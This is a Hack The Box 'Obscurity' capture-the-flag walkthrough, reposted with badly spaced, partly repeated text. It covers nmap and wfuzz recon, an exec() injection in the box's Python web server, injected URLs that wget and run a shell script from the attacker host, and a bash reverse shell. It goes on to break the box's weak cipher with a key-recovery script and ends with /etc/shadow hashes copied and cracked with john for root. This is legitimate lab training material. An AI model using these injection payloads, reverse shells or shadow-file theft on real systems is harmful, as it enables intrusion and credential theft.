[20288] 2020-03-10_HacktheBox-Obscurity

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2020-03-10_HacktheBox-Obscurity H a c k   t h e   B o x   -   O b s c u r i t y   n 0 0 B   K h a n   2 0 2 0 - 0 3 - 1 0 C T F h a c k t h e b o x O b s c u r i t y h a c k t h e b o x 线 u s e r . t x t r o o t . t x t   &   R C E   &   r o o t   n m a p   2 2   ,   8 0 8 0   r o o t @ l o c a l h o s t : ~ / h a c k t h e b o x _ w o r k s p a c e / f i n i s h / O b s c u r i t y #   n m a p   - v   - P n   - A   1 0 . 1 0 . 1 0 . 1 6 8 S t a r t i n g   N m a p   7 . 8 0   (   h t t p s : / / n m a p . o r g   )   a t   2 0 2 0 - 0 2 - 0 4   1 6 : 1 7   C S T   S c a n n i n g   o b s c u r i t y . h t b   ( 1 0 . 1 0 . 1 0 . 1 6 8 )   [ 1 0 0 0   p o r t s ]   D i s c o v e r e d   o p e n   p o r t   8 0 8 0 / t c p   o n   1 0 . 1 0 . 1 0 . 1 6 8   D i s c o v e r e d   o p e n   p o r t   2 2 / t c p   o n   1 0 . 1 0 . 1 0 . 1 6 8   S Y N   S t e a l t h   S c a n   T i m i n g :   A b o u t   4 2 . 2 5 %   d o n e ;   E T C :   1 6 : 1 8   ( 0 : 0 0 : 4 2   r e m a i n i n g ) C o m p l e t e d   S Y N   S t e a l t h   S c a n   a t   1 6 : 1 8 ,   4 9 . 6 1 s   e l a p s e d   ( 1 0 0 0   t o t a l   p o r t s )   I n i t i a t i n g   S e r v i c e   s c a n   a t   1 6 : 1 8   S c a n n i n g   2   s e r v i c e s   o n   o b s c u r i t y . h t b   ( 1 0 . 1 0 . 1 0 . 1 6 8 )   N m a p   s c a n   r e p o r t   f o r   o b s c u r i t y . h t b   ( 1 0 . 1 0 . 1 0 . 1 6 8 )   H o s t   i s   u p   ( 0 . 4 3 s   l a t e n c y ) .   N o t   s h o w n :   9 9 6   f i l t e r e d   p o r t s   P O R T   S T A T E   S E R V I C E   V E R S I O N   2 2 / t c p   o p e n   s s h   O p e n S S H   7 . 6 p 1   U b u n t u   4 u b u n t u 0 . 3   ( U b u n t u   L i n u x ;   p r o t o c o l   2 . 0 )   |   s s h - h o s t k e y :   |   2 0 4 8   3 3 : d 3 : 9 a : 0 d : 9 7 : 2 c : 5 4 : 2 0 : e 1 : b 0 : 1 7 : 3 4 : f 4 : c a : 7 0 : 1 b   ( R S A )   |   2 5 6   f 6 : 8 b : d 5 : 7 3 : 9 7 : b e : 5 2 : c b : 1 2 : e a : 8 b : 0 2 : 7 c : 3 4 : a 3 : d 7   ( E C D S A )   | _   2 5 6   e 8 : d f : 5 5 : 7 8 : 7 6 : 8 5 : 4 b : 7 b : d c : 7 0 : 6 a : f c : 4 0 : c c : a c : 9 b   ( E D 2 5 5 1 9 )   8 0 / t c p   c l o s e d   h t t p   8 0 8 0 / t c p   o p e n   h t t p - p r o x y   B a d H T T P S e r v e r
  8 0 8 0     w e b     S u p e r S e c u r e S e r v e r . p y   S u p e r S e c u r e S e r v e r . p y 使 w u f z z     : h t t p : / / o b s c u r i t y . h t b : 8 0 8 0 / d e v e l o p / S u p e r S e c u r e S e r v e r . p y       &   g e t s h e l l r o o t @ l o c a l h o s t : ~ / h a c k t h e b o x _ w o r k s p a c e / f i n i s h / O b s c u r i t y #   w f u z z   - w   / u s r / s h a r e / w o r d l i s t s / w f u z z / g e n e r a l / c o m m o n . t x t   - - h c   4 0 4   h t t p : / / o b s c u r i t y . h t b : 8 0 8 0 / F U Z Z / S u p e r S e c u r e S e r v e r . p y         W a r n i n g :   P y c u r l   i s   n o t   c o m p i l e d   a g a i n s t   O p e n s s l .   W f u z z   m i g h t   n o t   w o r k   c o r r e c t l y   w h e n   f u z z i n g   S S L   s i t e s .   C h e c k   W f u z z ' s   d o c u m e n t a t i o n   f o r   m o r e   i n f o r m a t i o n . * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *   W f u z z   2 . 4   -   T h e   W e b   F u z z e r                   * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * T a r g e t :   h t t p : / / o b s c u r i t y . h t b : 8 0 8 0 / F U Z Z / S u p e r S e c u r e S e r v e r . p y T o t a l   r e q u e s t s :   9 4 9 = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = I D                       R e s p o n s e       L i n e s         W o r d           C h a r s               P a y l o a d               = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 0 0 0 0 0 0 2 5 9 :       2 0 0                 1 7 0   L         4 9 8   W         5 8 9 2   C h           " d e v e l o p "           F i n i s h i n g   p e n d i n g   r e q u e s t s . . . i m p o r t   s o c k e t i m p o r t   t h r e a d i n g f r o m   d a t e t i m e   i m p o r t   d a t e t i m e i m p o r t   s y s i m p o r t   o s i m p o r t   m i m e t y p e s i m p o r t   u r l l i b . p a r s e i m p o r t   s u b p r o c e s s r e s p T e m p l a t e   =   " " " H T T P / 1 . 1   { s t a t u s N u m }   { s t a t u s C o d e } D a t e :   { d a t e S e n t } S e r v e r :   { s e r v e r } L a s t - M o d i f i e d :   { m o d i f i e d } C o n t e n t - L e n g t h :   { l e n g t h } C o n t e n t - T y p e :   { c o n t e n t T y p e } C o n n e c t i o n :   { c o n n e c t i o n T y p e } { b o d y } " " " D O C _ R O O T   =   " D o c R o o t " C O D E S   =   { " 2 0 0 " :   " O K " ,                   " 3 0 4 " :   " N O T   M O D I F I E D " ,                 " 4 0 0 " :   " B A D   R E Q U E S T " ,   " 4 0 1 " :   " U N A U T H O R I Z E D " ,   " 4 0 3 " :   " F O R B I D D E N " ,   " 4 0 4 " :   " N O T   F O U N D " ,                   " 5 0 0 " :   " I N T E R N A L   S E R V E R   E R R O R " } M I M E S   =   { " t x t " :   " t e x t / p l a i n " ,   " c s s " : " t e x t / c s s " ,   " h t m l " : " t e x t / h t m l " ,   " p n g " :   " i m a g e / p n g " ,   " j p g " : " i m a g e / j p g " ,                   " t t f " : " a p p l i c a t i o n / o c t e t - s t r e a m " , " o t f " : " a p p l i c a t i o n / o c t e t - s t r e a m " ,   " w o f f " : " f o n t / w o f f " ,   " w o f f 2 " :   " f o n t / w o f f 2 " ,  
                " t t f " : " a p p l i c a t i o n / o c t e t - s t r e a m " , " o t f " : " a p p l i c a t i o n / o c t e t - s t r e a m " ,   " w o f f " : " f o n t / w o f f " ,   " w o f f 2 " :   " f o n t / w o f f 2 " ,                   " j s " : " a p p l i c a t i o n / j a v a s c r i p t " , " g z " : " a p p l i c a t i o n / z i p " ,   " p y " : " t e x t / p l a i n " ,   " m a p " :   " a p p l i c a t i o n / o c t e t - s t r e a m " } c l a s s   R e s p o n s e :         d e f   _ _ i n i t _ _ ( s e l f ,   * * k w a r g s ) :                 s e l f . _ _ d i c t _ _ . u p d a t e ( k w a r g s )                 n o w   =   d a t e t i m e . n o w ( )                 s e l f . d a t e S e n t   =   s e l f . m o d i f i e d   =   n o w . s t r f t i m e ( " % a ,   % d   % b   % Y   % H : % M : % S " )         d e f   s t r i n g R e s p o n s e ( s e l f ) :                 r e t u r n   r e s p T e m p l a t e . f o r m a t ( * * s e l f . _ _ d i c t _ _ ) c l a s s   R e q u e s t :         d e f   _ _ i n i t _ _ ( s e l f ,   r e q u e s t ) :                 s e l f . g o o d   =   T r u e                 t r y :                         r e q u e s t   =   s e l f . p a r s e R e q u e s t ( r e q u e s t )                         s e l f . m e t h o d   =   r e q u e s t [ " m e t h o d " ]                         s e l f . d o c   =   r e q u e s t [ " d o c " ]                         s e l f . v e r s   =   r e q u e s t [ " v e r s " ]                         s e l f . h e a d e r   =   r e q u e s t [ " h e a d e r " ]                         s e l f . b o d y   =   r e q u e s t [ " b o d y " ]                 e x c e p t :                         s e l f . g o o d   =   F a l s e         d e f   p a r s e R e q u e s t ( s e l f ,   r e q u e s t ) :                                 r e q   =   r e q u e s t . s t r i p ( " r " ) . s p l i t ( " n " )                 m e t h o d , d o c , v e r s   =   r e q [ 0 ] . s p l i t ( "   " )                 h e a d e r   =   r e q [ 1 : - 3 ]                 b o d y   =   r e q [ - 1 ]                 h e a d e r D i c t   =   { }                 f o r   p a r a m   i n   h e a d e r :                         p o s   =   p a r a m . f i n d ( " :   " )                         k e y ,   v a l   =   p a r a m [ : p o s ] ,   p a r a m [ p o s + 2 : ]                         h e a d e r D i c t . u p d a t e ( { k e y :   v a l } )                 r e t u r n   { " m e t h o d " :   m e t h o d ,   " d o c " :   d o c ,   " v e r s " :   v e r s ,   " h e a d e r " :   h e a d e r D i c t ,   " b o d y " :   b o d y } c l a s s   S e r v e r :         d e f   _ _ i n i t _ _ ( s e l f ,   h o s t ,   p o r t ) :                         s e l f . h o s t   =   h o s t                 s e l f . p o r t   =   p o r t                 s e l f . s o c k   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M )                 s e l f . s o c k . s e t s o c k o p t ( s o c k e t . S O L _ S O C K E T ,   s o c k e t . S O _ R E U S E A D D R ,   1 )                 s e l f . s o c k . b i n d ( ( s e l f . h o s t ,   s e l f . p o r t ) )         d e f   l i s t e n ( s e l f ) :                 s e l f . s o c k . l i s t e n ( 5 )                 w h i l e   T r u e :                         c l i e n t ,   a d d r e s s   =   s e l f . s o c k . a c c e p t ( )                         c l i e n t . s e t t i m e o u t ( 6 0 )                         t h r e a d i n g . T h r e a d ( t a r g e t   =   s e l f . l i s t e n T o C l i e n t , a r g s   =   ( c l i e n t , a d d r e s s ) ) . s t a r t ( )         d e f   l i s t e n T o C l i e n t ( s e l f ,   c l i e n t ,   a d d r e s s ) :                 s i z e   =   1 0 2 4                 w h i l e   T r u e :                         t r y :                                 d a t a   =   c l i e n t . r e c v ( s i z e )                                 i f   d a t a :                                         #   S e t   t h e   r e s p o n s e   t o   e c h o   b a c k   t h e   r e c i e v e d   d a t a                                           r e q   =   R e q u e s t ( d a t a . d e c o d e ( ) )                                         s e l f . h a n d l e R e q u e s t ( r e q ,   c l i e n t ,   a d d r e s s )                                         c l i e n t . s h u t d o w n ( )                                         c l i e n t . c l o s e ( )                                 e l s e :                                         r a i s e   e r r o r ( ' C l i e n t   d i s c o n n e c t e d ' )                         e x c e p t :                                 c l i e n t . c l o s e ( )                                 r e t u r n   F a l s e         d e f   h a n d l e R e q u e s t ( s e l f ,   r e q u e s t ,   c o n n ,   a d d r e s s ) :                 i f   r e q u e s t . g o o d : #                         t r y :                                 #   p r i n t ( s t r ( r e q u e s t . m e t h o d )   +   "   "   +   s t r ( r e q u e s t . d o c ) ,   e n d = '   ' )                                 #   p r i n t ( " f r o m   { 0 } " . f o r m a t ( a d d r e s s [ 0 ] ) ) #                         e x c e p t   E x c e p t i o n   a s   e : #                                 p r i n t ( e )                         d o c u m e n t   =   s e l f . s e r v e D o c ( r e q u e s t . d o c ,   D O C _ R O O T )                         s t a t u s N u m = d o c u m e n t [ " s t a t u s " ]                 e l s e :                         d o c u m e n t   =   s e l f . s e r v e D o c ( " / e r r o r s / 4 0 0 . h t m l " ,   D O C _ R O O T )
v u l n     e x e c ( )       p y t h o n   ;     ;       p i n g   - c   4     p a y l o a d                         s t a t u s N u m = " 4 0 0 "                 b o d y   =   d o c u m e n t [ " b o d y " ]                 s t a t u s C o d e = C O D E S [ s t a t u s N u m ]                 d a t e S e n t   =   " "                 s e r v e r   =   " B a d H T T P S e r v e r "                 m o d i f i e d   =   " "                 l e n g t h   =   l e n ( b o d y )                 c o n t e n t T y p e   =   d o c u m e n t [ " m i m e " ]   #   T r y   a n d   i d e n t i f y   M I M E   t y p e   f r o m   s t r i n g                 c o n n e c t i o n T y p e   =   " C l o s e d "                 r e s p   =   R e s p o n s e (                 s t a t u s N u m = s t a t u s N u m ,   s t a t u s C o d e = s t a t u s C o d e ,                   d a t e S e n t   =   d a t e S e n t ,   s e r v e r   =   s e r v e r ,                   m o d i f i e d   =   m o d i f i e d ,   l e n g t h   =   l e n g t h ,                   c o n t e n t T y p e   =   c o n t e n t T y p e ,   c o n n e c t i o n T y p e   =   c o n n e c t i o n T y p e ,                   b o d y   =   b o d y                 )                 d a t a   =   r e s p . s t r i n g R e s p o n s e ( )                 i f   n o t   d a t a :                         r e t u r n   - 1                 c o n n . s e n d ( d a t a . e n c o d e ( ) )                 r e t u r n   0         d e f   s e r v e D o c ( s e l f ,   p a t h ,   d o c R o o t ) :                 p a t h   =   u r l l i b . p a r s e . u n q u o t e ( p a t h )                 t r y :                         i n f o   =   " o u t p u t   =   ' D o c u m e n t :   { } ' "   #   K e e p   t h e   o u t p u t   f o r   l a t e r   d e b u g                         e x e c ( i n f o . f o r m a t ( p a t h ) )   #   T h i s   i s   h o w   y o u   d o   s t r i n g   f o r m a t t i n g ,   r i g h t ?                         c w d   =   o s . p a t h . d i r n a m e ( o s . p a t h . r e a l p a t h ( _ _ f i l e _ _ ) )                         d o c R o o t   =   o s . p a t h . j o i n ( c w d ,   d o c R o o t )                         i f   p a t h   = =   " / " :                                 p a t h   =   " / i n d e x . h t m l "                         r e q u e s t e d   =   o s . p a t h . j o i n ( d o c R o o t ,   p a t h [ 1 : ] )                         i f   o s . p a t h . i s f i l e ( r e q u e s t e d ) :                                 m i m e   =   m i m e t y p e s . g u e s s _ t y p e ( r e q u e s t e d )                                 m i m e   =   ( m i m e   i f   m i m e [ 0 ]   ! =   N o n e   e l s e   " t e x t / h t m l " )                                 m i m e   =   M I M E S [ r e q u e s t e d . s p l i t ( " . " ) [ - 1 ] ]                                 t r y :                                         w i t h   o p e n ( r e q u e s t e d ,   " r " )   a s   f :                                                 d a t a   =   f . r e a d ( )                                 e x c e p t :                                         w i t h   o p e n ( r e q u e s t e d ,   " r b " )   a s   f :                                                 d a t a   =   f . r e a d ( )                                 s t a t u s   =   " 2 0 0 "                         e l s e :                                 e r r o r P a g e   =   o s . p a t h . j o i n ( d o c R o o t ,   " e r r o r s " ,   " 4 0 4 . h t m l " )                                 m i m e   =   " t e x t / h t m l "                                 w i t h   o p e n ( e r r o r P a g e ,   " r " )   a s   f :                                         d a t a   =   f . r e a d ( ) . f o r m a t ( p a t h )                                 s t a t u s   =   " 4 0 4 "                 e x c e p t   E x c e p t i o n   a s   e :                         p r i n t ( e )                         e r r o r P a g e   =   o s . p a t h . j o i n ( d o c R o o t ,   " e r r o r s " ,   " 5 0 0 . h t m l " )                         m i m e   =   " t e x t / h t m l "                         w i t h   o p e n ( e r r o r P a g e ,   " r " )   a s   f :                                 d a t a   =   f . r e a d ( )                         s t a t u s   =   " 5 0 0 "                 r e t u r n   { " b o d y " :   d a t a ,   " m i m e " :   m i m e ,   " s t a t u s " :   s t a t u s } p a t h   =   u r l l i b . p a r s e . u n q u o t e ( p a t h )                 t r y :                         i n f o   =   " o u t p u t   =   ' D o c u m e n t :   { } ' "   #   K e e p   t h e   o u t p u t   f o r   l a t e r   d e b u g                         e x e c ( i n f o . f o r m a t ( p a t h ) )   #   T h i s   i s   h o w   y o u   d o   s t r i n g   f o r m a t t i n g ,   r i g h t ?
>   h t t p : / o b s c u r i t y : 8 0 8 0 / ' ; o s . s y s t e m ( ' p i n g   - c   4   1 0 . 1 0 . x x . x x x ' ) ; p a t h = ' / ' ; '     b u r p       S i m p l e H T T P S e r v e r   >   p y t h o n   - m   S i m p l e H T T P S e r v e r   8 0   u r l   n c   >   h t t p : / o b s c u r i t y : 8 0 8 0 / ' ; o s . s y s t e m ( ' w g e t   h t t p : / / 1 0 . 1 0 . x x . x x / s h e l l . s h   - 0   / t m p / s h e l l . s h ' ) ; p a t h = ' / ' ; '     > h t t p : / o b s c u r i t y : 8 0 8 0 / ' ; o s . s y s t e m ( ' c h m o d   + x   / t m p / s h e l l . s h ' ) ; p a t h = ' / ' ; '     >   h t t p : / o b s c u r i t y : 8 0 8 0 / ' ; o s . s y s t e m ( ' . / t m p / s h e l l . s h ' ) ; p a t h = ' / ' ; '     s h e l l   r o b e r t       r o b e r t       r o o t @ l o c a l h o s t : ~ / h a c k t h e b o x _ w o r k s p a c e / f i n i s h / O b s c u r i t y #   c a t   s h e l l . s h # ! / b i n / b a s h b a s h   - i   > &   / d e v / t c p / 1 0 . 1 0 . x x . x x / x x x x   0 > & 1 i m p o r t   s y s i m p o r t   a r g p a r s e d e f   e n c r y p t ( t e x t ,   k e y ) :         k e y l e n   =   l e n ( k e y )         k e y P o s   =   0         e n c r y p t e d   =   " "         f o r   x   i n   t e x t :                 k e y C h r   =   k e y [ k e y P o s ]                 n e w C h r   =   o r d ( x )                 n e w C h r   =   c h r ( ( n e w C h r   +   o r d ( k e y C h r ) )   %   2 5 5 )                 e n c r y p t e d   + =   n e w C h r                 k e y P o s   + =   1                 k e y P o s   =   k e y P o s   %   k e y l e n         r e t u r n   e n c r y p t e d d e f   d e c r y p t ( t e x t ,   k e y ) :         k e y l e n   =   l e n ( k e y )         k e y P o s   =   0         d e c r y p t e d   =   " "         f o r   x   i n   t e x t :                 k e y C h r   =   k e y [ k e y P o s ]                 n e w C h r   =   o r d ( x )                 n e w C h r   =   c h r ( ( n e w C h r   -   o r d ( k e y C h r ) )   %   2 5 5 )                 d e c r y p t e d   + =   n e w C h r                 k e y P o s   + =   1                 k e y P o s   =   k e y P o s   %   k e y l e n         r e t u r n   d e c r y p t e d p a r s e r   =   a r g p a r s e . A r g u m e n t P a r s e r ( d e s c r i p t i o n = ' E n c r y p t   w i t h   0 b s c u r a ' s   e n c r y p t i o n   a l g o r i t h m ' ) p a r s e r . a d d _ a r g u m e n t ( ' - i ' ,                                         m e t a v a r = ' I n F i l e ' ,                                         t y p e = s t r ,                                         h e l p = ' T h e   f i l e   t o   r e a d ' ,                                         r e q u i r e d = F a l s e ) p a r s e r . a d d _ a r g u m e n t ( ' - o ' ,                                         m e t a v a r = ' O u t F i l e ' ,                                         t y p e = s t r ,                                         h e l p = ' W h e r e   t o   o u t p u t   t h e   e n c r y p t e d / d e c r y p t e d   f i l e ' ,                                         r e q u i r e d = F a l s e ) p a r s e r . a d d _ a r g u m e n t ( ' - k ' ,                                         m e t a v a r = ' K e y ' ,                                         t y p e = s t r ,                                         h e l p = ' K e y   t o   u s e ' ,                                         r e q u i r e d = F a l s e ) p a r s e r . a d d _ a r g u m e n t ( ' - d ' ,   a c t i o n = ' s t o r e _ t r u e ' ,   h e l p = ' D e c r y p t   m o d e ' ) a r g s   =   p a r s e r . p a r s e _ a r g s ( ) b a n n e r   =   " # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # n " b a n n e r + =   " #                       B E G I N N I N G                     # n "
b a n n e r + =   " #                       B E G I N N I N G                     # n " b a n n e r + =   " #         S U P E R   S E C U R E   E N C R Y P T O R         # n " b a n n e r + =   " # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # n " b a n n e r   + =   "     # # # # # # # # # # # # # # # # # # # # # # # # # # # # n " b a n n e r   + =   "     #                 F I L E   M O D E                   # n " b a n n e r   + =   "     # # # # # # # # # # # # # # # # # # # # # # # # # # # # " p r i n t ( b a n n e r ) i f   a r g s . o   = =   N o n e   o r   a r g s . k   = =   N o n e   o r   a r g s . i   = =   N o n e :         p r i n t ( " M i s s i n g   a r g s " ) e l s e :         i f   a r g s . d :                 p r i n t ( " O p e n i n g   f i l e   { 0 } . . . " . f o r m a t ( a r g s . i ) )                 w i t h   o p e n ( a r g s . i ,   ' r ' ,   e n c o d i n g = ' U T F - 8 ' )   a s   f :                         d a t a   =   f . r e a d ( )                 p r i n t ( " D e c r y p t i n g . . . " )                 d e c r y p t e d   =   d e c r y p t ( d a t a ,   a r g s . k )                 p r i n t ( " W r i t i n g   t o   { 0 } . . . " . f o r m a t ( a r g s . o ) )                 w i t h   o p e n ( a r g s . o ,   ' w ' ,   e n c o d i n g = ' U T F - 8 ' )   a s   f :                         f . w r i t e ( d e c r y p t e d )         e l s e :                 p r i n t ( " O p e n i n g   f i l e   { 0 } . . . " . f o r m a t ( a r g s . i ) )                 w i t h   o p e n ( a r g s . i ,   ' r ' ,   e n c o d i n g = ' U T F - 8 ' )   a s   f :                         d a t a   =   f . r e a d ( )                 p r i n t ( " E n c r y p t i n g . . . " )                 e n c r y p t e d   =   e n c r y p t ( d a t a ,   a r g s . k )                 p r i n t ( " W r i t i n g   t o   { 0 } . . . " . f o r m a t ( a r g s . o ) )                 w i t h   o p e n ( a r g s . o ,   ' w ' ,   e n c o d i n g = ' U T F - 8 ' )   a s   f :                         f . w r i t e ( e n c r y p t e d ) f o r   x   i n   t e x t : >                 k e y C h r   =   k e y [ k e y P o s ] >                 n e w C h r   =   o r d ( x ) >                 n e w C h r   =   c h r ( ( n e w C h r   +   o r d ( k e y C h r ) )   %   2 5 5 ) >                 e n c r y p t e d   + =   n e w C h r >                 k e y P o s   + =   1 >                 k e y P o s   =   k e y P o s   %   k e y l e n >   ` ` ` >   1 0   - k e y 1 0   >   >       西 1 0     >   * 1 0 *     i m p o r t   s y s i m p o r t   a r g p a r s e d e f   d e c r y p t ( e n t e x t , d e t e x t ) :         k e y w o r d   =   " "         a = - 1         f o r   x   i n   e n t e x t :                 a   + =   1                 n e w C h r = o r d ( x )                 f o r   i   i n   r a n g e ( 4 8 , 1 2 3 ) :                         d e c r y p t e d = c h r ( ( n e w C h r - i ) % 2 5 5 )                         i f   d e c r y p t e d   = =   d e t e x t [ a ] :                                 p r i n t ( d e t e x t [ a ] , e n d = "   " )                                 k e y w o r d   + =   c h r ( i ) + "   "                                 b r e a k         r e t u r n   k e y w o r d d e f   m a i n ( ) :         p a r s e r   =   a r g p a r s e . A r g u m e n t P a r s e r ( d e s c r i p t i o n = ' D e n c r y p t   p r o g r a m m i n g ' )         p a r s e r . a d d _ a r g u m e n t ( ' - e ' , m e t a v a r = ' ' , t y p e = s t r , h e l p = ' E n c r y p t e d   w o r d ' , r e q u i r e d = F a l s e )         p a r s e r . a d d _ a r g u m e n t ( ' - t ' , m e t a v a r = ' ' , t y p e = s t r , h e l p = ' T h e   p l a i n t e x t   y o u   a l r e a d y   k n o w ' , r e q u i r e d = F a l s e )         a r g s   =   p a r s e r . p a r s e _ a r g s ( )         i f   a r g s . e   ! =   N o n e   o r   a r g s . t   ! =   N o n e :                 p r i n t ( " R e a d i n g   f i l e   { 0 } " . f o r m a t ( a r g s . e ) )                 w i t h   o p e n ( a r g s . e , ' r ' , e n c o d i n g = ' U T F - 8 ' )   a s   f :                         e n d a t a = f . r e a d ( )                 w i t h   o p e n ( a r g s . t , ' r ' , e n c o d i n g = ' U T F - 8 ' )   a s   f :                         d e d a t a = f . r e a d ( )                 p r i n t ( d e c r y p t ( e n d a t a , d e d a t a ) )    
c h m o d   + x   d e c r y . p y . / d e c r y . p y   - e   / h o m e / r o b e r t / o u t . t x t   - p   / h o m e / r o b e r t / c h e c k . t x t a l e x a n d r o v i c h k e y t o u c h   / h o m e / r o b e r t / k e y e c h o   " a l e x a n d r o v i c h "   > >   / h o m e / r o b e r t / k e y . / d e c r y . p y   - e   / h o m e / r o b e r t / p a s s w o r d r e m i n d e r . t x t   - p   / h o m e / r o b e r t / k e y s s h r o b e r t u s e r . t x t r o o t     r o o t                   e l s e :                 p r i n t ( " . / d e c r y . p y   - e   d e m o   - t   d e m o " ) i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :         m a i n ( ) i m p o r t   s y s i m p o r t   r a n d o m ,   s t r i n g i m p o r t   o s i m p o r t   t i m e i m p o r t   c r y p t i m p o r t   t r a c e b a c k i m p o r t   s u b p r o c e s s p a t h   =   ' ' . j o i n ( r a n d o m . c h o i c e s ( s t r i n g . a s c i i _ l e t t e r s   +   s t r i n g . d i g i t s ,   k = 8 ) ) s e s s i o n   =   { " u s e r " :   " " ,   " a u t h e n t i c a t e d " :   0 } t r y :         s e s s i o n [ ' u s e r ' ]   =   i n p u t ( " E n t e r   u s e r n a m e :   " )         p a s s W   =   i n p u t ( " E n t e r   p a s s w o r d :   " )         w i t h   o p e n ( ' / e t c / s h a d o w ' ,   ' r ' )   a s   f :                 d a t a   =   f . r e a d l i n e s ( )         d a t a   =   [ ( p . s p l i t ( " : " )   i f   " $ "   i n   p   e l s e   N o n e )   f o r   p   i n   d a t a ]         p a s s w o r d s   =   [ ]         f o r   x   i n   d a t a :                 i f   n o t   x   = =   N o n e :                         p a s s w o r d s . a p p e n d ( x )         p a s s w o r d F i l e   =   ' n ' . j o i n ( [ ' n ' . j o i n ( p )   f o r   p   i n   p a s s w o r d s ] )           w i t h   o p e n ( ' / t m p / S S H / ' + p a t h ,   ' w ' )   a s   f :                 f . w r i t e ( p a s s w o r d F i l e )         t i m e . s l e e p ( . 1 )         s a l t   =   " "         r e a l P a s s   =   " "         f o r   p   i n   p a s s w o r d s :                 i f   p [ 0 ]   = =   s e s s i o n [ ' u s e r ' ] :                         s a l t ,   r e a l P a s s   =   p [ 1 ] . s p l i t ( ' $ ' ) [ 2 : ]                         b r e a k         i f   s a l t   = =   " " :                 p r i n t ( " I n v a l i d   u s e r " )                 o s . r e m o v e ( ' / t m p / S S H / ' + p a t h )                 s y s . e x i t ( 0 )         s a l t   =   ' $ 6 $ ' + s a l t + ' $ '         r e a l P a s s   =   s a l t   +   r e a l P a s s         h a s h   =   c r y p t . c r y p t ( p a s s W ,   s a l t )         i f   h a s h   = =   r e a l P a s s :                 p r i n t ( " A u t h e d ! " )                 s e s s i o n [ ' a u t h e n t i c a t e d ' ]   =   1         e l s e :                 p r i n t ( " I n c o r r e c t   p a s s " )                 o s . r e m o v e ( ' / t m p / S S H / ' + p a t h )                 s y s . e x i t ( 0 )         o s . r e m o v e ( o s . p a t h . j o i n ( ' / t m p / S S H / ' , p a t h ) ) e x c e p t   E x c e p t i o n   a s   e :         t r a c e b a c k . p r i n t _ e x c ( )         s y s . e x i t ( 0 ) i f   s e s s i o n [ ' a u t h e n t i c a t e d ' ]   = =   1 :         w h i l e   T r u e :                 c o m m a n d   =   i n p u t ( s e s s i o n [ ' u s e r ' ]   +   " @ O b s c u r e $   " )                 c m d   =   [ ' s u d o ' ,   ' - u ' ,     s e s s i o n [ ' u s e r ' ] ]
  / t m p / S S H /           r o o t                                                                                                       -   K h a n                 c m d . e x t e n d ( c o m m a n d . s p l i t ( "   " ) )                 p r o c   =   s u b p r o c e s s . P o p e n ( c m d ,   s t d o u t = s u b p r o c e s s . P I P E ,   s t d e r r = s u b p r o c e s s . P I P E )                 o , e   =   p r o c . c o m m u n i c a t e ( )                 p r i n t ( ' O u t p u t :   '   +   o . d e c o d e ( ' a s c i i ' ) )                 p r i n t ( ' E r r o r :   '     +   e . d e c o d e ( ' a s c i i ' ) )   i f   l e n ( e . d e c o d e ( ' a s c i i ' ) )   >   0   e l s e   p r i n t ( ' ' ) j o h n   p a s s e n c s u   r o o t c a t   ~ / r o o t . t x t
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则